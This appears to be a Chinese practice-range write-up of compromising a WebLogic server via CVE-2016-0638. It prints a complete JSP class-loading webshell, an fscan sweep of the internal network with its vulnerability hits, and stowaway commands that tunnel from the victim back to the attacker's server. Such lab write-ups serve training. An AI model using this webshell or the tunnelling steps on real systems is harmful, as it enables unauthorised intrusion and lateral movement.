0x01前言

一开始工具跑不起来，后面才发现是原先的java版本太高了，整了个java8才跑起来

0x02复现

准备工具：WeblogicTool 1.2

环境靶场：http://119.45.164.136:7001/

dirsearch扫不出目录，但是看着cve的话就直接访问管理控制台了

外网探测

http://119.45.164.136:7001/console/login/LoginForm.jsp

image-20250323192049180

利用工具进行扫描

image-20250323192129192

CVE_2016_0638_ECHO漏洞，老漏洞了

删掉端口后面多余字符，输入/uddiexplorer/

image-20250323192228090

随便在右上角找了一个图片的路径

1
http://119.45.164.136:7001/uddiexplorer/help.gif

复制图片文件名 到weblogic中用命令去查找

1
find ./ -name help.gif

image-20250323192347356

然后我们pwd看一下当前的目录

1
/root/Oracle/Middleware/user_projects/domains/base_domain

然后拼接一下路径

1
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/uddiexplorer/5f6ebw/war/

这个路径就是我们可以上传文件的路径

因为是java的环境，所以我们需要写jsp的木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

然后密码是passwd

提权

用蚁剑连，然后用插件进行提权，这里队友做过了我就不做了

内网穿透

ifconfig看ip

image-20250323193436352

在tmp目录里上传个fscan，给777权限然后扫内网ip

1
./fscan -h 172.16.10.0/24
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#Halo AntSword!172.16.10.1:6379 open
172.16.10.1:80 open
172.16.10.1:22 open
172.16.10.1:8082 open
172.16.10.1:8848 open
172.16.10.1:7001 open
172.16.10.1:8081 open
172.16.10.8:7001 open
[*] WebTitle http://172.16.10.1        code:200 len:1925   title:Hello!
[*] WebTitle http://172.16.10.1:8081   code:200 len:11215  title:Apache Tomcat/11.0.5
[*] WebTitle http://172.16.10.1:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle http://172.16.10.1:8082   code:200 len:15928  title:BEES企业网站管理系统_企业建站系统_外贸网站建设_企业CMS_PHP营销企业网站�
[+] PocScan http://172.16.10.1:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://172.16.10.1:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] Redis 172.16.10.1:6379 unauthorized file:/data/module.so
[*] WebTitle http://172.16.10.1:7001   code:404 len:1164   title:Error 404--Not Found
[*] WebTitle http://172.16.10.8:7001   code:404 len:1164   title:Error 404--Not Found
[+] InfoScan http://172.16.10.8:7001   [weblogic] 
[+] InfoScan http://172.16.10.1:7001   [weblogic] 
[+] PocScan http://172.16.10.1:7001 poc-yaml-weblogic-cve-2020-14750 
[+] PocScan http://172.16.10.8:7001 poc-yaml-weblogic-cve-2020-14750 
[+] PocScan http://172.16.10.1:7001 poc-yaml-weblogic-cve-2019-2729-1 
[+] PocScan http://172.16.10.1:7001 poc-yaml-weblogic-ssrf 
[+] PocScan http://172.16.10.8:7001 poc-yaml-weblogic-ssrf 
[+] PocScan http://172.16.10.8:7001 poc-yaml-weblogic-cve-2019-2729-1 
[+] PocScan http://172.16.10.8:7001 poc-yaml-weblogic-cve-2019-2729-2 
[+] PocScan http://172.16.10.1:7001 poc-yaml-weblogic-cve-2019-2729-2 
[+] PocScan http://172.16.10.1:7001 poc-yaml-weblogic-cve-2019-2725 v10
[+] PocScan http://172.16.10.8:7001 poc-yaml-weblogic-cve-2019-2725 v10

接下来就是搭建代理了，上传一个stowaway的agent

给权限然后搭建代理

攻击机(我的服务器)

1
./linux_x64_admin -l 9999

靶机

1
./linux_x64_agent -c IP:9999

image-20250323195405877

然后输入

1
2
use 0
socks 5555

然后在浏览器中配置代理就行

EES企业网站管理系统

访问http://172.16.10.1:8082，BEES企业网站管理系统_企业建站系统_外贸网站建设_企业CMS_PHP营销企业网站

发现这个隧道搭建的特别不稳定。。。拿到了poc但是做不了